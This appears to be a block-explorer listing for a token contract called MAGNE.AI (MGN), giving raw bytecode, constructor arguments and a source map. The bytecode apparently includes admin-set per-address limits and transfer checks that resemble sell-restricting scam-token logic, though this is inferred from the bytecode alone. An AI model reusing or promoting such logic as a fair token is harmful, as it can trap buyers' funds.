60405180910390fd5b6109a684848484035f610eb8565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a1d575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610a149190611d9b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a8d575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610a849190611d9b565b60405180910390fd5b610a988383836111d6565b610aaf838383610aaa5f801b88610625565b6113f2565b505050565b5f610abf8383610625565b610b9457600160045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550610b31610901565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a460019050610b98565b5f90505b92915050565b5f610ba98383610625565b15610c7e575f60045f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550610c1b610901565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a460019050610c82565b5f90505b92915050565b5f805f5b8351811015610d8b575f6030858381518110610cab57610caa611db4565b5b602001015160f81c60f81b60f81c610cc39190611e0e565b60ff161080610d01575060096030858381518110610ce457610ce3611db4565b5b602001015160f81c60f81b60f81c610cfc9190611e0e565b60ff16115b15610d12575f809250925050610d94565b6001818551610d219190611e42565b610d2b9190611e42565b600a610d379190611fa4565b6030858381518110610d4c57610d4b611db4565b5b602001015160f81c60f81b60f81c610d649190611e0e565b60ff16610d719190611fee565b83610d7c919061202f565b92508080600101915050610c8c565b50816001915091505b915091565b8015610e0c57670de0b6b3a764000082610db39190611fee565b60035f805f1b81526020019081526020015f205f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610e62565b8160035f805f1b81526020019081526020015f205f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b610e718282610625565b610eb45780826040517fe2517d3f000000000000000000000000000000000000000000000000000000008152600401610eab929190612062565b60405180910390fd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f28575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610f1f9190611d9b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f98575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610f8f9190611d9b565b60405180910390fd5b5f8260035f805f1b81526020019081526020015f206001015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ff6919061202f565b90507370cbb871e8f30fc8ce23609e9e0ea87b6b222f5873ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036110e6575f808411801561109f575060035f805f1b81526020019081526020015f206001015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205482115b905080156110e4575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016110db9190611d9b565b60405180910390fd5b505b8260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555081156111cf578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040516111c69190611959565b60405180910390a35b5050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611226578060075f82825461121a919061202f565b925050819055506112f6565b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156112b0578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016112a793929190611d66565b60405180910390fd5b81810360055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361133d578060075f8282540392505081905550611388565b8060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113e59190611959565b60405180910390a3505050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036114da575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114d557826040517fec442f050000000000000000000000000000000000000000000000000000000081526004016114cc9190611d9b565b60405180910390fd5b6114f5565b806114f45760018054036114f3576114f284836114fb565b5b5b5b50505050565b5f8160035f805f1b81526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611559919061202f565b90505f60035f805f1b81526020019081526020015f205f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541180156115b957505f82115b1561166e575f8111801561161c575060035f805f1b81526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205481115b1561165e575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016116559190611d9b565b60405180910390fd5b61166983825f6116b0565b6116ab565b5f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016116a29190611d9b565b60405180910390fd5b505050565b801561172457670de0b6b3a7640000826116ca9190611fee565b60035f805f1b81526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061177b565b8160035f805f1b81526020019081526020015f206001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6117ba82611791565b9050919050565b6117ca816117b0565b81146117d4575f80fd5b50565b5f813590506117e5816117c1565b92915050565b5f60208284031215611800576117ff611789565b5b5f61180d848285016117d7565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61185882611816565b6118628185611820565b9350611872818560208601611830565b61187b8161183e565b840191505092915050565b5f6020820190508181035f83015261189e818461184e565b905092915050565b5f819050919050565b6118b8816118a6565b81146118c2575f80fd5b50565b5f813590506118d3816118af565b92915050565b5f80604083850312156118ef576118ee611789565b5b5f6118fc858286016117d7565b925050602061190d858286016118c5565b9150509250929050565b5f8115159050919050565b61192b81611917565b82525050565b5f6020820190506119445f830184611922565b92915050565b611953816118a6565b82525050565b5f60208201905061196c5f83018461194a565b92915050565b5f805f6060848603121561198957611988611789565b5b5f611996868287016117d7565b93505060206119a7868287016117d7565b92505060406119b8868287016118c5565b9150509250925092565b5f819050919050565b6119d4816119c2565b81146119de575f80fd5b50565b5f813590506119ef816119cb565b92915050565b5f60208284031215611a0a57611a09611789565b5b5f611a17848285016119e1565b91505092915050565b611a29816119c2565b82525050565b5f602082019050611a425f830184611a20565b92915050565b5f8060408385031215611a5e57611a5d611789565b5b5f611a6b858286016119e1565b9250506020611a7c858286016117d7565b9150509250929050565b5f60ff82169050919050565b611a9b81611a86565b82525050565b5f602082019050611ab45f830184611a92565b92915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611af88261183e565b810181811067ffffffffffffffff82111715611b1757611b16611ac2565b5b80604052505050565b5f611b29611780565b9050611b358282611aef565b919050565b5f67ffffffffffffffff821115611b5457611b53611ac2565b5b611b5d8261183e565b9050602081019050919050565b828183375f83830152505050565b5f611b8a611b8584611b3a565b611b20565b905082815260208101848484011115611ba657611ba5611abe565b5b611bb1848285611b6a565b509392505050565b5f82601f830112611bcd57611bcc611aba565b5b8135611bdd848260208601611b78565b91505092915050565b5f8060408385031215611bfc57611bfb611789565b5b5f611c09858286016117d7565b925050602083013567ffffffffffffffff811115611c2a57611c2961178d565b5b611c3685828601611bb9565b9150509250929050565b5f8060408385031215611c5657611c55611789565b5b5f611c63858286016117d7565b9250506020611c74858286016117d7565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611cc257607f821691505b602082108103611cd557611cd4611c7e565b5b50919050565b611ce4816117b0565b82525050565b5f604082019050611cfd5f830185611cdb565b611d0a602083018461194a565b9392505050565b611d1a81611917565b8114611d24575f80fd5b50565b5f81519050611d3581611d11565b92915050565b5f60208284031215611d5057611d4f611789565b5b5f611d5d84828501611d27565b91505092915050565b5f606082019050611d795f830186611cdb565b611d86602083018561194a565b611d93604083018461194a565b949350505050565b5f602082019050611dae5f830184611cdb565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611e1882611a86565b9150611e2383611a86565b9250828203905060ff811115611e3c57611e3b611de1565b5b92915050565b5f611e4c826118a6565b9150611e57836118a6565b9250828203905081811115611e6f57611e6e611de1565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115611eca57808604811115611ea657611ea5611de1565b5b6001851615611eb55780820291505b8081029050611ec385611e75565b9450611e8a565b94509492505050565b5f82611ee25760019050611f9d565b81611eef575f9050611f9d565b8160018114611f055760028114611f0f57611f3e565b6001915050611f9d565b60ff841115611f2157611f20611de1565b5b8360020a915084821115611f3857611f37611de1565b5b50611f9d565b5060208310610133831016604e8410600b8410161715611f735782820a905083811115611f6e57611f6d611de1565b5b611f9d565b611f808484846001611e81565b92509050818404811115611f9757611f96611de1565b5b81810290505b9392505050565b5f611fae826118a6565b9150611fb9836118a6565b9250611fe67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611ed3565b905092915050565b5f611ff8826118a6565b9150612003836118a6565b9250828202612011816118a6565b9150828204841483151761202857612027611de1565b5b5092915050565b5f612039826118a6565b9150612044836118a6565b925082820190508082111561205c5761205b611de1565b5b92915050565b5f6040820190506120755f830185611cdb565b6120826020830184611a20565b939250505056fea26469706673582212209a49ed64ff3a824bba1e9a939c98be438412832af7b856c618a6356f76f42f0864736f6c634300081a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000444f469376200fdce6c9fe782c8be17cb808add700000000000000000000000000000000000000000000000000000000000000084d41474e452e414900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034d474e0000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): MAGNE.AI
Arg [1] : _symbol (string): MGN
Arg [2] : value (uint256): 100000000
Arg [3] : account (address): 0x444F469376200Fdce6C9FE782c8bE17CB808adD7

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [3] : 000000000000000000000000444f469376200fdce6c9fe782c8be17cb808add7
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [5] : 4d41474e452e4149000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [7] : 4d474e0000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

35837:533:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23533:120;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;35727:89;;;:::i;:::-;;25545:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27755:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26618:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28555:249;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19096:122;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19528:138;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;26498:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20665:251;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;26753:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18110:138;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25755:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23103:420;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17682:49;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27076:182;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36160:199;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19959:140;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;27294:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;23533:120;17727:4;23597:18;;17974:16;17985:4;17974:10;:16::i;:::-;23641:4:::1;23629:9;::::0;:16:::1;;;;;;;;;;;;;;;;;;23533:120:::0;;:::o;35727:89::-;17727:4;35761:18;;17974:16;17985:4;17974:10;:16::i;:::-;35807:1:::1;35793:11:::0;:15:::1;;;;35727:89:::0;:::o;25545:91::-;25590:13;25623:5;25616:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25545:91;:::o;27755:190::-;27828:4;27845:13;27861:12;:10;:12::i;:::-;27845:28;;27884:31;27893:5;27900:7;27909:5;27884:8;:31::i;:::-;27933:4;27926:11;;;27755:190;;;;:::o;26618:99::-;26670:7;26697:12;;26690:19;;26618:99;:::o;28555:249::-;28642:4;28659:15;28677:12;:10;:12::i;:::-;28659:30;;28700:37;28716:4;28722:7;28731:5;28700:15;:37::i;:::-;28748:26;28758:4;28764:2;28768:5;28748:9;:26::i;:::-;28792:4;28785:11;;;28555:249;;;;;:::o;19096:122::-;19161:7;19188:6;:12;19195:4;19188:12;;;;;;;;;;;:22;;;19181:29;;19096:122;;;:::o;19528:138::-;19602:18;19615:4;19602:12;:18::i;:::-;17974:16;17985:4;17974:10;:16::i;:::-;19633:25:::1;19644:4;19650:7;19633:10;:25::i;:::-;;19528:138:::0;;;:::o;26498:84::-;26547:5;26572:2;26565:9;;26498:84;:::o;20665:251::-;20781:12;:10;:12::i;:::-;20759:34;;:18;:34;;;20755:104;;20817:30;;;;;;;;;;;;;;20755:104;20871:37;20883:4;20889:18;20871:11;:37::i;:::-;;20665:251;;:::o;26753:118::-;26818:7;26845:9;:18;26855:7;26845:18;;;;;;;;;;;;;;;;26838:25;;26753:118;;;:::o;18110:138::-;18187:4;18211:6;:12;18218:4;18211:12;;;;;;;;;;;:20;;:29;18232:7;18211:29;;;;;;;;;;;;;;;;;;;;;;;;;18204:36;;18110:138;;;;:::o;25755:95::-;25802:13;25835:7;25828:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25755:95;:::o;23103:420::-;17727:4;23198:18;;17974:16;17985:4;17974:10;:16::i;:::-;23239::::1;23266:8:::0;23303:23:::1;23321:4;23303:17;:23::i;:::-;23285:41;;;;;;;;23348:5;23341:12;;:3;:12;;::::0;23337:82:::1;;23377:30;;;;;;;;;;;;;;23337:82;23445:1;23433:8;:13;23429:87;;23463:41;23480:7;23489:8;23499:4;23463:16;:41::i;:::-;23429:87;23218:305;;23103:420:::0;;;:::o;17682:49::-;17727:4;17682:49;;;:::o;27076:182::-;27145:4;27162:13;27178:12;:10;:12::i;:::-;27162:28;;27201:27;27211:5;27218:2;27222:5;27201:9;:27::i;:::-;27246:4;27239:11;;;27076:182;;;;:::o;36160:199::-;36281:12;17727:4;36252:18;;17974:16;17985:4;17974:10;:16::i;:::-;36320:4:::1;36313:21;;;36335:10;36347:3;36313:38;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;36306:45;;36160:199:::0;;;;;:::o;19959:140::-;20034:18;20047:4;20034:12;:18::i;:::-;17974:16;17985:4;17974:10;:16::i;:::-;20065:26:::1;20077:4;20083:7;20065:11;:26::i;:::-;;19959:140:::0;;;:::o;27294:142::-;27374:7;27401:11;:18;27413:5;27401:18;;;;;;;;;;;;;;;:27;27420:7;27401:27;;;;;;;;;;;;;;;;27394:34;;27294:142;;;;:::o;18463:105::-;18530:30;18541:4;18547:12;:10;:12::i;:::-;18530:10;:30::i;:::-;18463:105;:::o;6780:98::-;6833:7;6860:10;6853:17;;6780:98;:::o;33152:130::-;33237:37;33246:5;33253:7;33262:5;33269:4;33237:8;:37::i;:::-;33152:130;;;:::o;35233:486::-;35333:24;35360:25;35370:5;35377:7;35360:9;:25::i;:::-;35333:52;;35419:17;35400:16;:36;35396:316;;;35476:5;35457:16;:24;35453:132;;;35536:7;35545:16;35563:5;35509:60;;;;;;;;;;;;;:::i;:::-;;;;;;;;35453:132;35628:57;35637:5;35644:7;35672:5;35653:16;:24;35679:5;35628:8;:57::i;:::-;35396:316;35322:397;35233:486;;;:::o;29189:378::-;29289:1;29273:18;;:4;:18;;;29269:88;;29342:1;29315:30;;;;;;;;;;;:::i;:::-;;;;;;;;29269:88;29385:1;29371:16;;:2;:16;;;29367:88;;29440:1;29411:32;;;;;;;;;;;:::i;:::-;;;;;;;;29367:88;29465:24;29473:4;29479:2;29483:5;29465:7;:24::i;:::-;29500:59;29508:4;29514:2;29518:5;29525:33;17727:4;29533:18;;29553:4;29525:7;:33::i;:::-;29500:7;:59::i;:::-;29189:378;;;:::o;21548:324::-;21625:4;21647:22;21655:4;21661:7;21647;:22::i;:::-;21642:223;;21718:4;21686:6;:12;21693:4;21686:12;;;;;;;;;;;:20;;:29;21707:7;21686:29;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;21769:12;:10;:12::i;:::-;21742:40;;21760:7;21742:40;;21754:4;21742:40;;;;;;;;;;21804:4;21797:11;;;;21642:223;21848:5;21841:12;;21548:324;;;;;:::o;22118:325::-;22196:4;22217:22;22225:4;22231:7;22217;:22::i;:::-;22213:223;;;22288:5;22256:6;:12;22263:4;22256:12;;;;;;;;;;;:20;;:29;22277:7;22256:29;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;22340:12;:10;:12::i;:::-;22313:40;;22331:7;22313:40;;22325:4;22313:40;;;;;;;;;;22375:4;22368:11;;;;22213:223;22419:5;22412:12;;22118:325;;;;;:::o;16889:535::-;16978:11;16991:8;17022:9;17017:369;17047:4;17041:18;17037:1;:22;17017:369;;;17134:1;17128:2;17116:4;17122:1;17110:14;;;;;;;;:::i;:::-;;;;;;;;;;17104:21;;:26;;;;:::i;:::-;17103:32;;;:85;;;;17187:1;17181:2;17169:4;17175:1;17163:14;;;;;;;;:::i;:::-;;;;;;;;;;17157:21;;:26;;;;:::i;:::-;17156:32;;;17103:85;17081:175;;;17231:1;17234:5;17223:17;;;;;;;17081:175;17372:1;17368;17353:4;17347:18;:22;;;;:::i;:::-;:26;;;;:::i;:::-;17342:2;:32;;;;:::i;:::-;17319:2;17307:4;17313:1;17301:14;;;;;;;;:::i;:::-;;;;;;;;;;17295:21;;:26;;;;:::i;:::-;17294:80;;;;;;:::i;:::-;17270:104;;;;;:::i;:::-;;;17061:3;;;;;;;17017:369;;;;17406:3;17411:4;17398:18;;;;16889:535;;;;:::o;16542:303::-;16673:8;16669:169;;;16744:6;16736:5;:14;;;;:::i;:::-;16698:8;:19;16162:4;16707:9;;16698:19;;;;;;;;;;;:26;;:35;16725:7;16698:35;;;;;;;;;;;;;;;:52;;;;16669:169;;;16821:5;16783:8;:19;16162:4;16792:9;;16783:19;;;;;;;;;;;:26;;:35;16810:7;16783:35;;;;;;;;;;;;;;;:43;;;;16669:169;16542:303;;;:::o;18704:201::-;18793:22;18801:4;18807:7;18793;:22::i;:::-;18788:110;;18872:7;18881:4;18839:47;;;;;;;;;;;;:::i;:::-;;;;;;;;18788:110;18704:201;;:::o;34149:786::-;34278:1;34261:19;;:5;:19;;;34257:91;;34333:1;34304:32;;;;;;;;;;;:::i;:::-;;;;;;;;34257:91;34381:1;34362:21;;:7;:21;;;34358:92;;34435:1;34407:31;;;;;;;;;;;:::i;:::-;;;;;;;;34358:92;34462:11;34512:5;34476:8;:19;16162:4;34485:9;;34476:19;;;;;;;;;;;:26;;:33;34503:5;34476:33;;;;;;;;;;;;;;;;:41;;;;:::i;:::-;34462:55;;34562:42;34551:53;;:7;:53;;;34548:245;;34620:9;34641:1;34633:5;:9;:52;;;;;34652:8;:19;16162:4;34661:9;;34652:19;;;;;;;;;;;:26;;:33;34679:5;34652:33;;;;;;;;;;;;;;;;34646:3;:39;34633:52;34620:66;;34704:4;34701:81;;;34763:1;34735:31;;;;;;;;;;;:::i;:::-;;;;;;;;34701:81;34605:188;34548:245;34835:5;34805:11;:18;34817:5;34805:18;;;;;;;;;;;;;;;:27;34824:7;34805:27;;;;;;;;;;;;;;;:35;;;;34855:8;34851:77;;;34901:7;34885:31;;34894:5;34885:31;;;34910:5;34885:31;;;;;;:::i;:::-;;;;;;;;34851:77;34246:689;34149:786;;;;:::o;29901:1135::-;30007:1;29991:18;;:4;:18;;;29987:552;;30145:5;30129:12;;:21;;;;;;;:::i;:::-;;;;;;;;29987:552;;;30183:19;30205:9;:15;30215:4;30205:15;;;;;;;;;;;;;;;;30183:37;;30253:5;30239:11;:19;30235:117;;;30311:4;30317:11;30330:5;30286:50;;;;;;;;;;;;;:::i;:::-;;;;;;;;30235:117;30507:5;30493:11;:19;30475:9;:15;30485:4;30475:15;;;;;;;;;;;;;;;:37;;;;30168:371;29987:552;30569:1;30555:16;;:2;:16;;;30551:435;;30737:5;30721:12;;:21;;;;;;;;;;;30551:435;;;30954:5;30937:9;:13;30947:2;30937:13;;;;;;;;;;;;;;;;:22;;;;;;;;;;;30551:435;31018:2;31003:25;;31012:4;31003:25;;;31022:5;31003:25;;;;;;:::i;:::-;;;;;;;;29901:1135;;;:::o;31046:441::-;31194:8;;;;;;;;;;;31186:16;;:4;:16;;;31182:288;;31229:9;;;;;;;;;;31222:16;;:2;:16;;;31219:86;;31286:2;31265:24;;;;;;;;;;;:::i;:::-;;;;;;;;31219:86;31182:288;;;31326:8;31322:148;;31369:1;31354:11;;:16;31351:80;;31390:25;31403:4;31409:5;31390:12;:25::i;:::-;31351:80;31322:148;31182:288;31046:441;;;;:::o;22463:626::-;22552:11;22601:5;22566:8;:19;16162:4;22575:9;;22566:19;;;;;;;;;;;:26;;:32;22593:4;22566:32;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;22552:54;;22658:1;22623:8;:19;16162:4;22632:9;;22623:19;;;;;;;;;;;:26;;:32;22650:4;22623:32;;;;;;;;;;;;;;;;:36;:49;;;;;22671:1;22663:5;:9;22623:49;22619:457;;;22699:1;22693:3;:7;:49;;;;;22710:8;:19;16162:4;22719:9;;22710:19;;;;;;;;;;;:26;;:32;22737:4;22710:32;;;;;;;;;;;;;;;;22704:3;:38;22693:49;22689:262;;;22801:1;22772:32;;;;;;;;;;;:::i;:::-;;;;;;;;22689:262;22881:34;22898:4;22904:3;22909:5;22881:16;:34::i;:::-;22619:457;;;23061:1;23032:32;;;;;;;;;;;:::i;:::-;;;;;;;;22619:457;22531:558;22463:626;;:::o;16225:305::-;16358:8;16354:169;;;16429:6;16421:5;:14;;;;:::i;:::-;16383:8;:19;16162:4;16392:9;;16383:19;;;;;;;;;;;:26;;:35;16410:7;16383:35;;;;;;;;;;;;;;;:52;;;;16354:169;;;16506:5;16468:8;:19;16162:4;16477:9;;16468:19;;;;;;;;;;;:26;;:35;16495:7;16468:35;;;;;;;;;;;;;;;:43;;;;16354:169;16225:305;;;:::o;7:75:1:-;40:6;73:2;67:9;57:19;;7:75;:::o;88:117::-;197:1;194;187:12;211:117;320:1;317;310:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:99::-;1228:6;1262:5;1256:12;1246:22;;1176:99;;;:::o;1281:169::-;1365:11;1399:6;1394:3;1387:19;1439:4;1434:3;1430:14;1415:29;;1281:169;;;;:::o;1456:139::-;1545:6;1540:3;1535;1529:23;1586:1;1577:6;1572:3;1568:16;1561:27;1456:139;;;:::o;1601:102::-;1642:6;1693:2;1689:7;1684:2;1677:5;1673:14;1669:28;1659:38;;1601:102;;;:::o;1709:377::-;1797:3;1825:39;1858:5;1825:39;:::i;:::-;1880:71;1944:6;1939:3;1880:71;:::i;:::-;1873:78;;1960:65;2018:6;2013:3;2006:4;1999:5;1995:16;1960:65;:::i;:::-;2050:29;2072:6;2050:29;:::i;:::-;2045:3;2041:39;2034:46;;1801:285;1709:377;;;;:::o;2092:313::-;2205:4;2243:2;2232:9;2228:18;2220:26;;2292:9;2286:4;2282:20;2278:1;2267:9;2263:17;2256:47;2320:78;2393:4;2384:6;2320:78;:::i;:::-;2312:86;;2092:313;;;;:::o;2411:77::-;2448:7;2477:5;2466:16;;2411:77;;;:::o;2494:122::-;2567:24;2585:5;2567:24;:::i;:::-;2560:5;2557:35;2547:63;;2606:1;2603;2596:12;2547:63;2494:122;:::o;2622:139::-;2668:5;2706:6;2693:20;2684:29;;2722:33;2749:5;2722:33;:::i;:::-;2622:139;;;;:::o;2767:474::-;2835:6;2843;2892:2;2880:9;2871:7;2867:23;2863:32;2860:119;;;2898:79;;:::i;:::-;2860:119;3018:1;3043:53;3088:7;3079:6;3068:9;3064:22;3043:53;:::i;:::-;3033:63;;2989:117;3145:2;3171:53;3216:7;3207:6;3196:9;3192:22;3171:53;:::i;:::-;3161:63;;3116:118;2767:474;;;;;:::o;3247:90::-;3281:7;3324:5;3317:13;3310:21;3299:32;;3247:90;;;:::o;3343:109::-;3424:21;3439:5;3424:21;:::i;:::-;3419:3;3412:34;3343:109;;:::o;3458:210::-;3545:4;3583:2;3572:9;3568:18;3560:26;;3596:65;3658:1;3647:9;3643:17;3634:6;3596:65;:::i;:::-;3458:210;;;;:::o;3674:118::-;3761:24;3779:5;3761:24;:::i;:::-;3756:3;3749:37;3674:118;;:::o;3798:222::-;3891:4;3929:2;3918:9;3914:18;3906:26;;3942:71;4010:1;3999:9;3995:17;3986:6;3942:71;:::i;:::-;3798:222;;;;:::o;4026:619::-;4103:6;4111;4119;4168:2;4156:9;4147:7;4143:23;4139:32;4136:119;;;4174:79;;:::i;:::-;4136:119;4294:1;4319:53;4364:7;4355:6;4344:9;4340:22;4319:53;:::i;:::-;4309:63;;4265:117;4421:2;4447:53;4492:7;4483:6;4472:9;4468:22;4447:53;:::i;:::-;4437:63;;4392:118;4549:2;4575:53;4620:7;4611:6;4600:9;4596:22;4575:53;:::i;:::-;4565:63;;4520:118;4026:619;;;;;:::o;4651:77::-;4688:7;4717:5;4706:16;;4651:77;;;:::o;4734:122::-;4807:24;4825:5;4807:24;:::i;:::-;4800:5;4797:35;4787:63;;4846:1;4843;4836:12;4787:63;4734:122;:::o;4862:139::-;4908:5;4946:6;4933:20;4924:29;;4962:33;4989:5;4962:33;:::i;:::-;4862:139;;;;:::o;5007:329::-;5066:6;5115:2;5103:9;5094:7;5090:23;5086:32;5083:119;;;5121:79;;:::i;:::-;5083:119;5241:1;5266:53;5311:7;5302:6;5291:9;5287:22;5266:53;:::i;:::-;5256:63;;5212:117;5007:329;;;;:::o;5342:118::-;542